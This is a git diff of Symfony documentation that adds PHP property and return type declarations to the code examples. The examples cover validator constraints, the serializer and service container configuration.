@@ -107,7 +109,7 @@ date must lie within the current year like this:
                 min: 'first day of January',
                 max: 'first day of January next year',
             )]
-            protected $startDate;
+            protected \DateTimeInterface $startDate;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ date must lie within the current year like this:
 
         class Event
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startDate', new Assert\Range([
                     'min' => 'first day of January',
@@ -175,7 +179,7 @@ dates. If you want to fix the timezone, append it to the date string:
                 min: 'first day of January UTC',
                 max: 'first day of January next year UTC',
             )]
-            protected $startDate;
+            protected \DateTimeInterface $startDate;
         }
 
     .. code-block:: yaml
@@ -216,7 +220,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Event
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startDate', new Assert\Range([
                     'min' => 'first day of January UTC',
@@ -243,7 +249,7 @@ can check that a delivery date starts within the next five hours like this:
                 min: 'now',
                 max: '+5 hours',
             )]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -284,7 +290,9 @@ can check that a delivery date starts within the next five hours like this:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\Range([
                     'min' => 'now',
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index abfc30a9343..1028c005ab1 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -29,7 +29,7 @@ more word characters at the beginning of your string:
         class Author
         {
             #[Assert\Regex('/^\w+/')]
-            protected $description;
+            protected string $description;
         }
 
     .. code-block:: yaml
@@ -67,7 +67,9 @@ more word characters at the beginning of your string:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('description', new Assert\Regex([
                     'pattern' => '/^\w+/',
@@ -96,7 +98,7 @@ it a custom message:
                 match: false,
                 message: 'Your name cannot contain a number',
             )]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -139,7 +141,9 @@ it a custom message:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Regex([
                     'pattern' => '/\d/',
@@ -187,7 +191,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 pattern: '/^[a-z]+$/i',
                 htmlPattern: '^[a-zA-Z]+$'
             )]
-            protected $name;
+            protected string $name;
         }
 
     .. code-block:: yaml
@@ -228,7 +232,9 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 950b5e81426..7620997f0a3 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -53,7 +53,7 @@ You can validate each of these constraints sequentially to solve these issues:
                 new Assert\Regex(Place::ADDRESS_REGEX),
                 new AcmeAssert\Geolocalizable,
             ])]
-            public $address;
+            public string $address;
         }
 
     .. code-block:: yaml
@@ -105,7 +105,7 @@ You can validate each of these constraints sequentially to solve these issues:
 
         class Place
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 9b9f4af4c73..8b69d2c3b00 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -31,7 +31,7 @@ of the day when the event starts:
              * @var string A "H:i:s" formatted value
              */
             #[Assert\Time]
-            protected $startsAt;
+            protected string $startsAt;
         }
 
     .. code-block:: yaml
@@ -70,9 +70,9 @@ of the day when the event starts:
            /**
             * @var string A "H:i:s" formatted value
             */
-            protected $startsAt;
+            protected string $startsAt;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('startsAt', new Assert\Time());
             }
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index e410c5dee90..ffc1cee9fdd 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -27,7 +27,7 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
         class UserSettings
         {
             #[Assert\Timezone]
-            protected $timezone;
+            protected string $timezone;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 
         class UserSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('timezone', new Assert\Timezone());
             }
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index b39431e2304..0f92c9cce54 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -39,13 +39,13 @@ that all have constraints on their properties.
              */
             #[ORM\Column]
             #[Assert\NotBlank]
-            protected $name = '';
+            protected string $name = '';
 
             /**
              * @var Collection|Book[]
              */
             #[ORM\ManyToMany(targetEntity: Book::class)]
-            protected $books;
+            protected ArrayCollection $books;
 
             // some other properties
 
@@ -77,7 +77,7 @@ that all have constraints on their properties.
             // neither the method above nor any other specific getter
             // could be used to validated all nested books;
             // this object needs to be traversed to call the iterator
-            public function getIterator()
+            public function getIterator(): \Iterator
             {
                 return $this->books->getIterator();
             }
@@ -115,7 +115,7 @@ that all have constraints on their properties.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Traverse());
             }
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 6f99fe76b3c..e1b41c7e350 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -33,19 +33,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         class Author
         {
             #[Assert\Type(Address::class)]
-            protected $emailAddress;
+            protected Address $emailAddress;
 
             #[Assert\Type('string')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\Type(
                 type: 'integer',
                 message: 'The value {{ value }} is not a valid {{ type }}.',
             )]
-            protected $age;
+            protected int $age;
 
             #[Assert\Type(type: ['alpha', 'digit'])]
-            protected $accessCode;
+            protected string $accessCode;
         }
 
     .. code-block:: yaml
@@ -115,7 +115,9 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 1ecdbf6659f..59b481b3175 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -24,7 +24,7 @@ Basic Usage
         class File
         {
             #[Assert\Ulid]
-            protected $identifier;
+            protected string $identifier;
         }
 
     .. code-block:: yaml
@@ -60,6 +60,8 @@ Basic Usage
 
         class File
         {
+            // ...
+
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Ulid());
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 4c5c5945e76..5c894bcc443 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -43,7 +43,7 @@ strings:
         class Person
         {
             #[Assert\Unique]
-            protected $contactEmails;
+            protected array $contactEmails;
         }
 
     .. code-block:: yaml
@@ -79,7 +79,9 @@ strings:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('contactEmails', new Assert\Unique());
             }
@@ -119,7 +121,7 @@ collection::
         class Poi
         {
             #[Assert\Unique(fields=['latitude', 'longitude'])]
-            protected $coordinates;
+            protected array $coordinates;
         }
 
     .. code-block:: yaml
@@ -161,7 +163,9 @@ collection::
 
         class Poi
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
                     'fields' => ['latitude', 'longitude'],
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc00b3b9476..8ad7ed1526a 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -48,7 +48,7 @@ between all of the rows in your user table:
         {
             #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)]
             #[Assert\Email]
-            protected $email;
+            protected string $email;
         }
 
     .. code-block:: yaml
@@ -91,7 +91,9 @@ between all of the rows in your user table:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => 'email',
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 47b90a05c37..2c3420df7c6 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -24,7 +24,7 @@ Basic Usage
         class Author
         {
             #[Assert\Url]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -60,7 +60,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url());
             }
@@ -107,7 +109,7 @@ Parameter        Description
             #[Assert\Url(
                 message: 'The url {{ value }} is not a valid url',
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -146,7 +148,9 @@ Parameter        Description
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'message' => 'The url "{{ value }}" is not a valid url.',
@@ -181,7 +185,7 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             #[Assert\Url(
                 protocols: ['http', 'https', 'ftp'],
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -223,7 +227,9 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'protocols' => ['http', 'https', 'ftp'],
@@ -254,7 +260,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             #[Assert\Url(
                 relativeProtocol: true,
             )]
-            protected $bioUrl;
+            protected string $bioUrl;
         }
 
     .. code-block:: yaml
@@ -292,7 +298,9 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
                     'relativeProtocol' => true,
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index ad2d0a3eda8..5981be99b66 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -43,7 +43,7 @@ the user's current password:
             #[SecurityAssert\UserPassword(
                 message: 'Wrong value for your current password',
             )]
-            protected $oldPassword;
+            protected string $oldPassword;
         }
 
     .. code-block:: yaml
@@ -84,7 +84,9 @@ the user's current password:
 
         class ChangePassword
         {
-            public static function loadValidatorData(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorData(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint(
                     'oldPassword',
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 14f6a3916e3..c93a4800713 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -27,7 +27,7 @@ Basic Usage
         class File
         {
             #[Assert\Uuid]
-            protected $identifier;
+            protected string $identifier;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ Basic Usage
 
         class File
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('identifier', new Assert\Uuid());
             }
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 3c0e1937708..e629d169247 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -24,8 +24,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
     class Address
     {
-        protected $street;
-        protected $zipCode;
+        protected string $street;
+
+        protected string $zipCode;
     }
 
 .. code-block:: php
@@ -35,9 +36,11 @@ stores an ``Address`` instance in the ``$address`` property::
 
     class Author
     {
-        protected $firstName;
-        protected $lastName;
-        protected $address;
+        protected string $firstName;
+
+        protected string $lastName;
+
+        protected Address $address;
     }
 
 .. configuration-block::
@@ -52,11 +55,11 @@ stores an ``Address`` instance in the ``$address`` property::
         class Address
         {
             #[Assert\NotBlank]
-            protected $street;
+            protected string $street;
 
             #[Assert\NotBlank]
             #[Assert\Length(max: 5)]
-            protected $zipCode;
+            protected string $zipCode;
         }
 
         // src/Entity/Author.php
@@ -68,12 +71,12 @@ stores an ``Address`` instance in the ``$address`` property::
         {
             #[Assert\NotBlank]
             #[Assert\Length(min: 4)]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotBlank]
-            protected $lastName;
+            protected string $lastName;
 
-            protected $address;
+            protected Address $address;
         }
 
     .. code-block:: yaml
@@ -140,7 +143,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
         class Address
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('street', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank());
@@ -156,7 +161,9 @@ stores an ``Address`` instance in the ``$address`` property::
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('firstName', new Assert\Length(['min' => 4]));
@@ -180,7 +187,7 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
         class Author
         {
             #[Assert\Valid]
-            protected $address;
+            protected Address $address;
         }
 
     .. code-block:: yaml
@@ -216,7 +223,9 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('address', new Assert\Valid());
             }
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index d5d6f10dd86..a67bf15f141 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -118,7 +118,7 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
@@ -180,7 +180,7 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
@@ -1097,12 +1097,12 @@ required option: ``alias``, which defines the name of the extractor::
 
     class FooExtractor implements ExtractorInterface
     {
-        protected $prefix;
+        protected string $prefix;
 
         /**
          * Extracts translation messages from a template directory to the catalog.
          */
-        public function extract($directory, MessageCatalogue $catalog)
+        public function extract(string $directory, MessageCatalogue $catalog)
         {
             // ...
         }
diff --git a/serializer.rst b/serializer.rst
index 8da6df57c40..0afb1742f82 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -176,7 +176,7 @@ You can also specify the context on a per-property basis::
             /**
              * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
              */
-            public $createdAt;
+            public \DateTimeInterface $createdAt;
 
             // ...
         }
@@ -191,7 +191,7 @@ You can also specify the context on a per-property basis::
         class Person
         {
             #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public $createdAt;
+            public \DateTimeInterface $createdAt;
 
             // ...
         }
@@ -234,7 +234,7 @@ Use the options to specify context specific to normalization or denormalization:
             normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
             denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
         )]
-        public $createdAt;
+        public \DateTimeInterface $createdAt;
 
         // ...
     }
@@ -255,7 +255,7 @@ You can also restrict the usage of a context to some groups::
             context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
             groups: ['extended'],
         )]
-        public $createdAt;
+        public \DateTimeInterface $createdAt;
 
         // ...
     }
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 4956bcee957..33d26c8d0b7 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -55,7 +55,7 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -127,7 +127,7 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PhpMailer::class)
@@ -269,7 +269,7 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -320,7 +320,7 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class)
@@ -366,7 +366,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(OldService::class)
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d1fce9f20fd..4f62e24e10f 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -102,7 +102,7 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services()
                 ->defaults()
                     ->autowire()
@@ -239,7 +239,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
@@ -347,7 +347,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -512,7 +512,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 0ae5bb76e06..98f9dc2bc86 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -66,7 +66,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 6505c496863..2cf9cdb471f 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -167,7 +167,7 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
@@ -236,7 +236,7 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index e5a025276dc..7847a87b3b8 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -55,7 +55,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -116,7 +116,7 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class)
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 452b073ffe1..9e46faf9d88 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -74,7 +74,7 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -156,7 +156,7 @@ You can omit the class on the factory declaration:
 
         use App\Email\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // Note that we are not using service()
@@ -218,7 +218,7 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // first, create a service for the factory
@@ -296,7 +296,7 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -432,7 +432,7 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
diff --git a/service_container/import.rst b/service_container/import.rst
index 1e0fcfb2cee..d5056032115 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -116,7 +116,7 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->import('services/mailer.php');
             // If you want to import a whole directory:
             $container->import('services/');
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 959a0008207..060a95bffc0 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -69,7 +69,7 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -272,7 +272,7 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -311,7 +311,7 @@ Another possibility is setting public fields of the class directly::
     // ...
     class NewsletterManager
     {
-        public $mailer;
+        public MailerInterface $mailer;
 
         // ...
     }
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 3f1fa45f547..663118504cc 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -71,7 +71,7 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)->lazy();
@@ -152,7 +152,7 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index c555b7f05c8..bc8f03cf7e0 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,7 +38,7 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -94,7 +94,7 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 1719176f34b..6fea615bc63 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -15,7 +15,7 @@ you may have multiple repository classes which need the
     // ...
     abstract class BaseDoctrineRepository
     {
-        protected $logger;
+        protected LoggerInterface $logger;
 
         public function __construct(
             protected ObjectManager $objectManager,
@@ -118,7 +118,7 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
@@ -227,7 +227,7 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index f32c0cc271c..b772fbd2ad3 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -41,7 +41,7 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -112,7 +112,7 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -200,7 +200,7 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -266,7 +266,7 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 $services->set(Mailer::class);
@@ -355,7 +355,7 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\Foo::class);
@@ -442,7 +442,7 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
@@ -525,7 +525,7 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->set('some_decorator', Decorator::class)
 
@@ -657,7 +657,7 @@ Three different behaviors are available:
